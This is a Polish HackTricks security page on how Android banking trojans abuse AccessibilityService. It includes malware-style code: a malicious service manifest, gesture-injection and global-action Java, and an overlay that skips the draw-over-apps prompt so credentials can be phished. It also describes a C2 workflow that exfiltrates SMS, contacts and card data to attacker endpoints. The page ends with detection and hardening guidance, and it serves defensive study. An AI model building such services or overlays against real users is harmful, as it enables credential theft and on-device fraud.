Nadużycie usługi dostępności Androida

Reading time: 5 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Przegląd

AccessibilityService został stworzony, aby pomóc użytkownikom z niepełnosprawnościami w interakcji z urządzeniami Android. Niestety, te same potężne API automatyzacji (globalna nawigacja, wprowadzanie tekstu, dyspozycja gestów, okna nakładek…) mogą być wykorzystane przez złośliwe oprogramowanie do uzyskania pełnej zdalnej kontroli nad urządzeniem bez uprawnień roota.

Nowoczesne trojany bankowe Androida i trojany zdalnego dostępu (RAT) takie jak PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda i wiele innych stosują ten sam schemat:

  1. Wykorzystać inżynierię społeczną, aby ofiara włączyła złośliwą usługę dostępności (uprawnienie BIND_ACCESSIBILITY_SERVICE jest uważane za "wysokiego ryzyka" i wymaga wyraźnej akcji użytkownika).
  2. Wykorzystać usługę do
  • przechwytywania każdego zdarzenia UI i tekstu, który pojawia się na ekranie,
  • wstrzykiwania syntetycznych gestów (dispatchGesture) i globalnych akcji (performGlobalAction), aby zautomatyzować dowolne zadanie, które operator pragnie,
  • rysowania nakładek na pełnym ekranie na wierzchu legalnych aplikacji przy użyciu typu okna TYPE_ACCESSIBILITY_OVERLAY (bez monitu SYSTEM_ALERT_WINDOW!),
  • cichego przyznawania dodatkowych uprawnień w czasie rzeczywistym, klikając w okna dialogowe systemowe w imieniu ofiary.
  1. Ekstrahować dane lub przeprowadzać On-Device-Fraud (ODF) w czasie rzeczywistym, podczas gdy użytkownik patrzy na zupełnie normalny ekran.

Żądanie uprawnienia

xml
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>

Towarzyszący plik XML definiuje, jak będzie wyglądać fałszywe okno dialogowe:

xml
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>

Zdalne prymitywy automatyzacji UI

java
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}

// Simulate HOME / BACK / RECENTS …
private void navHome()     { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack()     { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}

Z tymi dwoma API atakujący może:

  • Odblokować ekran, otworzyć aplikację bankową, nawigować po jej drzewie UI i złożyć formularz przelewu.
  • Akceptować każde okno dialogowe z prośbą o pozwolenie, które się pojawi.
  • Instalować/aktualizować dodatkowe APK za pomocą intencji Sklepu Play.

Wzorce nadużyć

1. Phishing przez nakładki (Zbieranie poświadczeń)

Przezroczysty lub nieprzezroczysty WebView jest dodawany do menedżera okien:

java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

Ofiara wpisuje dane uwierzytelniające w fałszywym formularzu, podczas gdy aplikacja w tle odbiera te same gesty – nigdy nie jest wyświetlany podejrzany komunikat "rysuj nad innymi aplikacjami".

Szczegółowy przykład: sekcja Phishing przez nakładkę dostępności na stronie Tapjacking.

2. Automatyzacja oszustw na urządzeniu

Rodziny złośliwego oprogramowania, takie jak PlayPraetor, utrzymują stały kanał WebSocket, w którym operator może wydawać polecenia na wysokim poziomie (init, update, alert_arr, report_list, …). Usługa tłumaczy te polecenia na niskopoziomowe gesty, osiągając nieautoryzowane transakcje w czasie rzeczywistym, które łatwo omijają uwierzytelnianie wieloskładnikowe związane z tym urządzeniem.

3. Streaming i monitorowanie ekranu

Łącząc MediaProjection API z biblioteką klienta RTMP, RAT może transmitować na żywo bufor ramki do rtmp://<c2>:1935/live/<device_id>, dając przeciwnikowi doskonałą świadomość sytuacyjną, podczas gdy silnik dostępności obsługuje interfejs użytkownika.


PlayPraetor – przepływ pracy dowodzenia i kontroli

  1. HTTP(S) heartbeat – iteruj po twardo zakodowanej liście, aż jedna domena odpowie POST /app/searchPackageName z aktywnym C2.
  2. WebSocket (port 8282) – dwukierunkowe polecenia JSON:
  • update – wprowadź nowe conf/APK
  • alert_arr – skonfiguruj szablony nakładek
  • report_list – wyślij listę docelowych nazw pakietów
  • heartbeat_web – utrzymanie połączenia
  1. RTMP (port 1935) – transmisja na żywo ekranu/wideo.
  2. REST exfiltration
  • /app/saveDevice (odcisk palca)
  • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
  • /app/saveCardPwd (dane bankowe)

AccessibilityService to lokalny silnik, który przekształca te polecenia w interakcje fizyczne.


Wykrywanie złośliwych usług dostępności

  • adb shell settings get secure enabled_accessibility_services
  • Ustawienia → Dostępność → Pobrane usługi – szukaj aplikacji, które nie pochodzą z Google Play.
  • Rozwiązania MDM / EMM mogą wymuszać ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY (Android 13+) w celu zablokowania usług zainstalowanych zewnętrznie.
  • Analizuj działające usługi:
bash
adb shell dumpsys accessibility | grep "Accessibility Service"

Rekomendacje dotyczące wzmocnienia dla deweloperów aplikacji

  • Oznacz wrażliwe widoki jako android:accessibilityDataSensitive="accessibilityDataPrivateYes" (API 34+).
  • Połącz setFilterTouchesWhenObscured(true) z FLAG_SECURE, aby zapobiec przechwytywaniu dotyków/nakładek.
  • Wykrywaj nakładki, sprawdzając WindowManager.getDefaultDisplay().getFlags() lub API ViewRootImpl.
  • Odmów działania, gdy Settings.canDrawOverlays() lub aktywna jest nieufna usługa dostępności.

Referencje

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks